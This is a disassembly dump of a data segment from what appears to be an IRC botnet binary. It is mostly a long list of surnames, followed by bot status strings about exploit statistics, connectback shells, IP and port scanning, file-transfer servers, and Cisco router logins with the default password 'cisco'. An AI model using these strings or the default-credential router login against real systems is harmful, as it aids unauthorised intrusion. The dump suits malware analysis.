; DATA XREF: seg002:0043C9C4o aDockery db 'Dockery',0 ; DATA XREF: seg002:0043C9C0o aDirksen db 'Dirksen',0 ; DATA XREF: seg002:0043C9BCo aDionysius db 'Dionysius',0 ; DATA XREF: seg002:0043C9B8o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: seg002:0043C9B4o align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: seg002:0043C9B0o align 4 aDifabio db 'Difabio',0 ; DATA XREF: seg002:0043C9ACo aDiefenbach db 'Diefenbach',0 ; DATA XREF: seg002:0043C9A8o align 10h aDicks db 'Dicks',0 ; DATA XREF: seg002:0043C9A4o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: seg002:0043C9A0o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: seg002:0043C99Co aDesombre db 'Desombre',0 ; DATA XREF: seg002:0043C998o align 4 aDenison db 'Denison',0 ; DATA XREF: seg002:0043C994o aDenham db 'Denham',0 ; DATA XREF: seg002:0043C990o align 4 aDenault db 'Denault',0 ; DATA XREF: seg002:0043C98Co aDemusz db 'Demusz',0 ; DATA XREF: seg002:0043C988o align 4 aDempster db 'Dempster',0 ; DATA XREF: seg002:0043C984o align 10h aDeming db 'Deming',0 ; DATA XREF: seg002:0043C980o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0043C97Co align 4 aDelger db 'Delger',0 ; DATA XREF: seg002:0043C978o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: seg002:0043C974o align 4 aDelattre db 'Delattre',0 ; DATA XREF: seg002:0043C970o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: seg002:0043C96Co align 4 aDees db 'Dees',0 ; DATA XREF: seg002:0043C968o align 4 aDebroff db 'Debroff',0 ; DATA XREF: seg002:0043C964o aDerousse db 'deRousse',0 ; DATA XREF: seg002:0043C960o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0043C95Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: seg002:0043C958o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: seg002:0043C954o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: seg002:0043C950o aDavid db 'David',0 ; DATA XREF: seg002:0043C94Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: seg002:0043C948o aDasgupta db 'Dasgupta',0 ; DATA XREF: seg002:0043C944o align 4 aDas db 'Das',0 ; DATA XREF: seg002:0043C940o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0043C93Co aDapice db 'Dapice',0 ; DATA XREF: seg002:0043C938o align 10h aDante db 'Dante',0 ; DATA XREF: seg002:0043C934o align 4 aDanieli db 'Danieli',0 ; DATA XREF: seg002:0043C930o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: seg002:0043C92Co aDaly db 'Daly',0 ; DATA XREF: seg002:0043C928o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: seg002:0043C924o align 4 aDasilva db 'daSilva',0 ; DATA XREF: seg002:0043C920o aCyders db 'Cyders',0 ; DATA XREF: seg002:0043C91Co align 4 aCvek db 'Cvek',0 ; DATA XREF: seg002:0043C918o align 4 aCutler db 'Cutler',0 ; DATA XREF: seg002:0043C914o align 4 aCurrier db 'Currier',0 ; DATA XREF: seg002:0043C910o aCui db 'Cui',0 ; DATA XREF: seg002:0043C90Co aCroxton db 'Croxton',0 ; DATA XREF: seg002:0043C908o aCroxen db 'Croxen',0 ; DATA XREF: seg002:0043C904o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: seg002:0043C900o aCrocker db 'Crocker',0 ; DATA XREF: seg002:0043C8FCo aCrawford db 'Crawford',0 ; DATA XREF: seg002:0043C8F8o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: seg002:0043C8F4o aCounter db 'Counter',0 ; DATA XREF: seg002:0043C8F0o aCosmides db 'Cosmides',0 ; DATA XREF: seg002:0043C8ECo align 10h aCornish db 'Cornish',0 ; DATA XREF: seg002:0043C8E8o aCorey db 'Corey',0 ; DATA XREF: seg002:0043C8E4o align 10h aConnors db 'Connors',0 ; DATA XREF: seg002:0043C8E0o aCondodina db 'Condodina',0 ; DATA XREF: seg002:0043C8DCo align 4 aConcino db 'Concino',0 ; DATA XREF: seg002:0043C8D8o aComstock db 'Comstock',0 ; DATA XREF: seg002:0043C8D4o align 4 aCompton db 'Compton',0 ; DATA XREF: seg002:0043C8CCo ; seg002:0043C8D0o aCollis db 'Collis',0 ; DATA XREF: seg002:0043C8C8o align 4 aCollard db 'Collard',0 ; DATA XREF: seg002:0043C8C4o aColella db 'Colella',0 ; DATA XREF: seg002:0043C8C0o aColdren db 'Coldren',0 ; DATA XREF: seg002:0043C8BCo aCoito db 'Coito',0 ; DATA XREF: seg002:0043C8B8o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: seg002:0043C8B4o aClow db 'Clow',0 ; DATA XREF: seg002:0043C8B0o align 4 aClifton db 'Clifton',0 ; DATA XREF: seg002:0043C8ACo aClement db 'Clement',0 ; DATA XREF: seg002:0043C8A8o aClark db 'Clark',0 ; DATA XREF: seg002:0043C8A4o align 10h aClancy db 'Clancy',0 ; DATA XREF: seg002:0043C8A0o align 4 aClaffey db 'Claffey',0 ; DATA XREF: seg002:0043C89Co aCifarelli db 'Cifarelli',0 ; DATA XREF: seg002:0043C898o align 4 aCicero db 'Cicero',0 ; DATA XREF: seg002:0043C894o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: seg002:0043C890o align 10h aChurch db 'Church',0 ; DATA XREF: seg002:0043C88Co align 4 aChupasko db 'Chupasko',0 ; DATA XREF: seg002:0043C888o align 4 aChu db 'Chu',0 ; DATA XREF: seg002:0043C884o aChristopher db 'Christopher',0 ; DATA XREF: seg002:0043C880o aChristie db 'Christie',0 ; DATA XREF: seg002:0043C87Co align 10h aChristiano db 'Christiano',0 ; DATA XREF: seg002:0043C878o align 4 aChristian db 'Christian',0 ; DATA XREF: seg002:0043C874o align 4 aChristenson db 'Christenson',0 ; DATA XREF: seg002:0043C870o aChinman db 'Chinman',0 ; DATA XREF: seg002:0043C86Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: seg002:0043C868o aChilds db 'Childs',0 ; DATA XREF: seg002:0043C864o align 10h aChildress db 'Childress',0 ; DATA XREF: seg002:0043C860o align 4 aChien db 'Chien',0 ; DATA XREF: seg002:0043C85Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: seg002:0043C858o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: seg002:0043C854o align 4 aCherry db 'Cherry',0 ; DATA XREF: seg002:0043C850o align 4 aCheang db 'Cheang',0 ; DATA XREF: seg002:0043C84Co align 4 aCharles db 'Charles',0 ; DATA XREF: seg002:0043C848o aChapman db 'Chapman',0 ; DATA XREF: seg002:0043C844o aCerioli db 'Cerioli',0 ; DATA XREF: seg002:0043C840o aCeniceros db 'Ceniceros',0 ; DATA XREF: seg002:0043C83Co align 10h aCavell db 'Cavell',0 ; DATA XREF: seg002:0043C838o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: seg002:0043C834o align 4 aCastelda db 'Castelda',0 ; DATA XREF: seg002:0043C830o align 10h aCaspar db 'Caspar',0 ; DATA XREF: seg002:0043C82Co align 4 aCase db 'Case',0 ; DATA XREF: seg002:0043C828o align 10h aCascio db 'Cascio',0 ; DATA XREF: seg002:0043C824o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: seg002:0043C820o align 4 aCarper db 'Carper',0 ; DATA XREF: seg002:0043C81Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: seg002:0043C818o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: seg002:0043C814o align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: seg002:0043C810o aCarlos db 'Carlos',0 ; DATA XREF: seg002:0043C80Co align 10h aCarlin db 'Carlin',0 ; DATA XREF: seg002:0043C808o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: seg002:0043C804o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: seg002:0043C800o aCapursi db 'Capursi',0 ; DATA XREF: seg002:0043C7FCo aCappuccio db 'Cappuccio',0 ; DATA XREF: seg002:0043C7F8o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: seg002:0043C7F4o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: seg002:0043C7F0o align 10h aCaperton db 'Caperton',0 ; DATA XREF: seg002:0043C7ECo align 4 aCapanni db 'Capanni',0 ; DATA XREF: seg002:0043C7E8o aCanley db 'Canley',0 ; DATA XREF: seg002:0043C7E4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: seg002:0043C7E0o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: seg002:0043C7DCo align 4 aCalnan db 'Calnan',0 ; DATA XREF: seg002:0043C7D8o align 4 aCage db 'Cage',0 ; DATA XREF: seg002:0043C7D4o align 4 aByrd db 'Byrd',0 ; DATA XREF: seg002:0043C7D0o align 4 aByerly db 'Byerly',0 ; DATA XREF: seg002:0043C7CCo align 4 aByatt db 'Byatt',0 ; DATA XREF: seg002:0043C7C8o align 4 aBusetta db 'Busetta',0 ; DATA XREF: seg002:0043C7C4o aBurridge db 'Burridge',0 ; DATA XREF: seg002:0043C7C0o align 10h aBurke db 'Burke',0 ; DATA XREF: seg002:0043C7BCo align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: seg002:0043C7B8o align 10h aBurden db 'Burden',0 ; DATA XREF: seg002:0043C7B4o align 4 aBunton db 'Bunton',0 ; DATA XREF: seg002:0043C7B0o align 10h aBullard db 'Bullard',0 ; DATA XREF: seg002:0043C7ACo aBudding db 'Budding',0 ; DATA XREF: seg002:0043C7A8o aBuchan db 'Buchan',0 ; DATA XREF: seg002:0043C7A4o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: seg002:0043C7A0o aBrook db 'Brook',0 ; DATA XREF: seg002:0043C79Co align 4 aBroca db 'Broca',0 ; DATA XREF: seg002:0043C798o align 10h aBritz db 'Britz',0 ; DATA XREF: seg002:0043C794o align 4 aBrinton db 'Brinton',0 ; DATA XREF: seg002:0043C790o aBridges db 'Bridges',0 ; DATA XREF: seg002:0043C78Co aBridgeman db 'Bridgeman',0 ; DATA XREF: seg002:0043C788o align 4 aBrewer db 'Brewer',0 ; DATA XREF: seg002:0043C780o ; seg002:0043C784o align 4 aBrennan db 'Brennan',0 ; DATA XREF: seg002:0043C77Co aBrenan db 'Brenan',0 ; DATA XREF: seg002:0043C778o align 4 aBreed db 'Breed',0 ; DATA XREF: seg002:0043C774o align 4 aBrecht db 'Brecht',0 ; DATA XREF: seg002:0043C770o align 4 aBradach db 'Bradach',0 ; DATA XREF: seg002:0043C76Co aBradac db 'Bradac',0 ; DATA XREF: seg002:0043C768o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: seg002:0043C764o align 4 aBoyne db 'Boyne',0 ; DATA XREF: seg002:0043C760o align 10h aBoym db 'Boym',0 ; DATA XREF: seg002:0043C75Co align 4 aBoyland db 'Boyland',0 ; DATA XREF: seg002:0043C758o aBoyes db 'Boyes',0 ; DATA XREF: seg002:0043C754o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: seg002:0043C750o align 4 aBoxer db 'Boxer',0 ; DATA XREF: seg002:0043C74Co align 4 aBowers db 'Bowers',0 ; DATA XREF: seg002:0043C748o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: seg002:0043C744o align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: seg002:0043C740o aBoudin db 'Boudin',0 ; DATA XREF: seg002:0043C73Co align 10h aBotosh db 'Botosh',0 ; DATA XREF: seg002:0043C738o align 4 aBothman db 'Bothman',0 ; DATA XREF: seg002:0043C734o aBossi db 'Bossi',0 ; DATA XREF: seg002:0043C730o align 4 aBorden db 'Borden',0 ; DATA XREF: seg002:0043C72Co align 10h aBorack db 'Borack',0 ; DATA XREF: seg002:0043C728o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: seg002:0043C724o align 4 aBoone db 'Boone',0 ; DATA XREF: seg002:0043C720o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: seg002:0043C71Co align 4 aBook db 'Book',0 ; DATA XREF: seg002:0043C718o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: seg002:0043C714o align 4 aBoniface db 'Boniface',0 ; DATA XREF: seg002:0043C710o align 4 aBonham db 'Bonham',0 ; DATA XREF: seg002:0043C70Co align 10h aBoner db 'Boner',0 ; DATA XREF: seg002:0043C708o align 4 aBologna db 'Bologna',0 ; DATA XREF: seg002:0043C704o aBollinger db 'Bollinger',0 ; DATA XREF: seg002:0043C700o align 4 aBolick db 'Bolick',0 ; DATA XREF: seg002:0043C6FCo align 4 aBolger db 'Bolger',0 ; DATA XREF: seg002:0043C6F8o align 4 aBlyth db 'Blyth',0 ; DATA XREF: seg002:0043C6F4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: seg002:0043C6F0o aBloemhof db 'Bloemhof',0 ; DATA XREF: seg002:0043C6ECo align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: seg002:0043C6E8o aBloch db 'Bloch',0 ; DATA XREF: seg002:0043C6E4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: seg002:0043C6E0o aBliss db 'Bliss',0 ; DATA XREF: seg002:0043C6DCo align 4 aBlanke db 'Blanke',0 ; DATA XREF: seg002:0043C6D8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: seg002:0043C6D4o align 10h aBlagg db 'Blagg',0 ; DATA XREF: seg002:0043C6D0o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: seg002:0043C6CCo align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: seg002:0043C6C8o align 10h aBisho db 'Bisho',0 ; DATA XREF: seg002:0043C6C4o align 4 aBisema db 'Bisema',0 ; DATA XREF: seg002:0043C6C0o align 10h aBir db 'Bir',0 ; DATA XREF: seg002:0043C6BCo aBinion db 'Binion',0 ; DATA XREF: seg002:0043C6B8o align 4 aBickel db 'Bickel',0 ; DATA XREF: seg002:0043C6B4o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: seg002:0043C6B0o align 10h aBeynart db 'Beynart',0 ; DATA XREF: seg002:0043C6ACo aBetti db 'Betti',0 ; DATA XREF: seg002:0043C6A8o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: seg002:0043C6A4o align 10h aBernston db 'Bernston',0 ; DATA XREF: seg002:0043C6A0o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: seg002:0043C69Co align 4 aBernardo db 'Bernardo',0 ; DATA XREF: seg002:0043C698o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: seg002:0043C694o align 4 aBergson db 'Bergson',0 ; DATA XREF: seg002:0043C690o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: seg002:0043C68Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: seg002:0043C688o align 4 aBellini db 'Bellini',0 ; DATA XREF: seg002:0043C684o aBellhouse db 'Bellhouse',0 ; DATA XREF: seg002:0043C680o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: seg002:0043C67Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: seg002:0043C678o align 4 aBelfer db 'Belfer',0 ; DATA XREF: seg002:0043C674o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: seg002:0043C670o align 4 aBelanger db 'Belanger',0 ; DATA XREF: seg002:0043C66Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: seg002:0043C668o aBedford db 'Bedford',0 ; DATA XREF: seg002:0043C664o aBeder db 'Beder',0 ; DATA XREF: seg002:0043C660o align 4 aBeckman db 'Beckman',0 ; DATA XREF: seg002:0043C65Co aBean db 'Bean',0 ; DATA XREF: seg002:0043C658o align 4 aBeal db 'Beal',0 ; DATA XREF: seg002:0043C654o align 4 aBeacon db 'Beacon',0 ; DATA XREF: seg002:0043C650o align 4 aBayo db 'Bayo',0 ; DATA XREF: seg002:0043C64Co align 4 aBayles db 'Bayles',0 ; DATA XREF: seg002:0043C648o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: seg002:0043C644o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: seg002:0043C640o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: seg002:0043C63Co align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: seg002:0043C638o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: seg002:0043C634o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: seg002:0043C630o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: seg002:0043C62Co aBarry db 'Barry',0 ; DATA XREF: seg002:0043C628o align 4 aBarriola db 'Barriola',0 ; DATA XREF: seg002:0043C624o align 10h aBarnett db 'Barnett',0 ; DATA XREF: seg002:0043C620o aBarneson db 'Barneson',0 ; DATA XREF: seg002:0043C61Co align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: seg002:0043C618o align 10h aBarberi db 'Barberi',0 ; DATA XREF: seg002:0043C614o aBaranowska db 'Baranowska',0 ; DATA XREF: seg002:0043C610o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: seg002:0043C60Co align 10h aBarajas db 'Barajas',0 ; DATA XREF: seg002:0043C608o aBarabesi db 'Barabesi',0 ; DATA XREF: seg002:0043C604o align 4 aBanta db 'Banta',0 ; DATA XREF: seg002:0043C600o align 4 aBaltz db 'Baltz',0 ; DATA XREF: seg002:0043C5FCo align 4 aBallew db 'Ballew',0 ; DATA XREF: seg002:0043C5F8o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: seg002:0043C5F4o align 4 aBaleja db 'Baleja',0 ; DATA XREF: seg002:0043C5F0o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: seg002:0043C5ECo align 4 aBailar db 'Bailar',0 ; DATA XREF: seg002:0043C5E8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: seg002:0043C5E4o aBaglivo db 'Baglivo',0 ; DATA XREF: seg002:0043C5E0o aBady db 'Bady',0 ; DATA XREF: seg002:0043C5DCo align 4 aBackus db 'Backus',0 ; DATA XREF: seg002:0043C5D8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: seg002:0043C5D4o align 10h aAzima db 'Azima',0 ; DATA XREF: seg002:0043C5D0o align 4 aAyling db 'Ayling',0 ; DATA XREF: seg002:0043C5CCo align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: seg002:0043C5C8o aAyiemba db 'Ayiemba',0 ; DATA XREF: seg002:0043C5C4o aAxworthy db 'Axworthy',0 ; DATA XREF: seg002:0043C5C0o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: seg002:0043C5BCo aAurelius db 'Aurelius',0 ; DATA XREF: seg002:0043C5B8o align 10h aAugustus db 'Augustus',0 ; DATA XREF: seg002:0043C5B4o align 4 aAtkins db 'Atkins',0 ; DATA XREF: seg002:0043C5B0o align 4 aArky db 'Arky',0 ; DATA XREF: seg002:0043C5ACo align 4 aArjas db 'Arjas',0 ; DATA XREF: seg002:0043C5A8o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: seg002:0043C5A4o align 10h aArellano db 'Arellano',0 ; DATA XREF: seg002:0043C5A0o align 4 aArduini db 'Arduini',0 ; DATA XREF: seg002:0043C59Co aArbia db 'Arbia',0 ; DATA XREF: seg002:0043C598o align 4 aAntos db 'Antos',0 ; DATA XREF: seg002:0043C594o align 4 aAnthony db 'Anthony',0 ; DATA XREF: seg002:0043C590o aAnsley db 'Ansley',0 ; DATA XREF: seg002:0043C58Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: seg002:0043C588o align 10h aAndron db 'Andron',0 ; DATA XREF: seg002:0043C584o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: seg002:0043C580o align 4 aAndo db 'Ando',0 ; DATA XREF: seg002:0043C57Co align 4 aAndel db 'Andel',0 ; DATA XREF: seg002:0043C578o align 4 aAnand db 'Anand',0 ; DATA XREF: seg002:0043C574o align 4 aAmsden db 'Amsden',0 ; DATA XREF: seg002:0043C570o align 4 aAmeer db 'Ameer',0 ; DATA XREF: seg002:0043C56Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: seg002:0043C568o align 4 aAmaral db 'Amaral',0 ; DATA XREF: seg002:0043C564o align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: seg002:0043C560o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: seg002:0043C55Co aAltavilla db 'Altavilla',0 ; DATA XREF: seg002:0043C558o align 4 aAlongi db 'Alongi',0 ; DATA XREF: seg002:0043C554o align 4 aAllison db 'Allison',0 ; DATA XREF: seg002:0043C550o aAleks db 'Aleks',0 ; DATA XREF: seg002:0043C54Co align 4 aAlda db 'Alda',0 ; DATA XREF: seg002:0043C548o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: seg002:0043C544o align 4 aAlavi db 'Alavi',0 ; DATA XREF: seg002:0043C540o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: seg002:0043C53Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: seg002:0043C538o align 4 aAdibe db 'Adibe',0 ; DATA XREF: seg002:0043C534o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: seg002:0043C530o align 4 aAddison db 'Addison',0 ; DATA XREF: seg002:0043C52Co aAdams db 'Adams',0 ; DATA XREF: seg002:0043C528o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: seg002:0043C524o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: seg002:off_43C520o align 10h aPc db 'PC',0 ; DATA XREF: seg000:0040A935o align 4 aS_6 db '%s|',0 ; DATA XREF: seg000:0040A9B5o aS_7 db '[%s]|',0 align 10h a??? db '???',0 ; DATA XREF: sub_41D779:loc_41D81Ao a2k3 db '2K3',0 aXp_0 db 'XP',0 ; DATA XREF: sub_41D779+8Bo align 4 a2k db '2K',0 ; DATA XREF: sub_41D779+7Co align 10h aMe_0 db 'ME',0 ; DATA XREF: sub_41D779+68o align 4 a98 db '98',0 ; DATA XREF: sub_41D779+59o align 4 aNt_0 db 'NT',0 ; DATA XREF: sub_41D779+4Ao align 4 a95 db '95',0 ; DATA XREF: sub_41D779+39o align 10h aDS db '[%d]%s',0 ; DATA XREF: sub_40AAE6+3Ao align 4 aM db '[M]',0 ; DATA XREF: sub_40AAE6+2Co ; sub_40AAE6+51o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AAE6+18o ; sub_41AD95+6o align 4 dword_432844 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: seg000:0040AF00o aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B0BB+51o align 10h aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B0BB+35o align 4 aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B3C5+86o align 4 dword_4328AC dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B3C5+47o unk_4328B8 db 2Dh ; - ; DATA XREF: sub_40B3C5+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4328D8 db 2Dh ; - ; DATA XREF: sub_40B494+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_432920 db 2Dh ; - ; DATA XREF: sub_40B4FF+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B553+7Eo dword_43295C dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B553+40o dword_43296C dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B553+14o dd 7473694Ch, 3Ah unk_432988 db 2Dh ; - ; DATA XREF: sub_40B619+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4329A8 db 2Dh ; - ; DATA XREF: sub_40B619+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_4329C4 db 2Dh ; - ; DATA XREF: seg000:0040BB2Co db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_4329F8 db 2Dh ; - ; DATA XREF: seg000:0040BA16o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_432A30 db 2Dh ; - ; DATA XREF: seg000:0040B9B6o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_432A60 db 2Dh ; - ; DATA XREF: seg000:0040B8EFo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_432A94 db 2Dh ; - ; DATA XREF: seg000:0040B88Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 dword_432AC8 dd 234032Dh, 70746674h, 2D030264h, 69614620h, 2064656Ch ; DATA XREF: seg000:0040B7C7o dd 73206F74h, 74726174h, 72657320h, 2C726576h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 6E616373h, 202D0302h dd 203A5049h, 202C7325h, 74726F50h, 20642520h, 6F207369h dd 2E6E6570h, 0 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 253A7325h dd 53202C64h, 206E6163h, 65726874h, 203A6461h, 202C6425h dd 2D627553h, 65726874h, 203A6461h, 2E6425h, 234032Dh dd 6E616373h, 202D0302h, 696E6946h, 64656873h, 20746120h dd 253A7325h, 66612064h, 20726574h, 6D206425h, 74756E69h dd 29732865h, 20666F20h, 6E616373h, 676E696Eh, 2Eh, 234032Dh dd 6E616373h, 202D0302h, 6C696146h, 74206465h, 7473206Fh dd 20747261h, 6B726F77h, 74207265h, 61657268h, 65202C64h dd 726F7272h, 253C203Ah, 2E3E64h, 234032Dh, 6E616373h dd 202D0302h, 253A7325h, 53202C64h, 206E6163h, 65726874h dd 203A6461h, 202C6425h, 2D627553h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 6E616373h, 202D0302h, 6C696146h dd 74206465h, 6E69206Fh, 61697469h, 657A696Ch, 69726320h dd 61636974h, 6573206Ch, 6F697463h, 2E6Eh, 234032Dh, 6C707865h dd 274696Fh, 66202D03h, 73696E69h, 20646568h, 6C707865h dd 6974696Fh, 2520676Eh, 25282073h, 74612064h, 706D6574h dd 297374h, 234032Dh, 6C707865h, 274696Fh, 74202D03h, 6E697972h dd 25022067h, 6F200273h, 7325206Eh, 6F702820h, 25207472h dd 2E2E2964h, 2Eh, 234032Dh, 6E616373h, 202D0302h, 203A5049h dd 50207325h, 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h dd 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 unk_432D48 db 2Dh ; - ; DATA XREF: seg000:0040C6D6o db 3, 34h, 2 db 63h ; c db 69h, 73h, 63h db 6Fh ; o db 28h, 74h, 65h db 6Ch ; l db 6Eh, 65h, 74h db 29h ; ) db 3, 2, 2Dh aFoundRouterS db ' found router: %s',0 align 10h aUserAccessVeri db 0Dh,0Ah ; DATA XREF: seg000:0040C6B1o db 0Dh,0Ah db 'User Access Verification',0Dh,0Ah db 0Dh,0Ah db 'Password',0 align 4 aPass db 0Dh,0Ah ; DATA XREF: seg000:0040C69Ao db 'Pass',0 align 4 aCisco db 'cisco',0Dh,0 ; DATA XREF: seg000:0040C675o align 4 unk_432DAC db 2Dh ; - ; DATA XREF: seg000:0040C83Fo db 3, 34h, 2 db 63h ; c db 69h, 73h, 63h db 6Fh ; o db 28h, 68h, 74h db 74h ; t db 70h, 29h, 3 db 2 aFoundRouterS_0 db '- found router: %s',0 aHttp1_0200Ok db 'HTTP/1.0 200 OK',0 ; 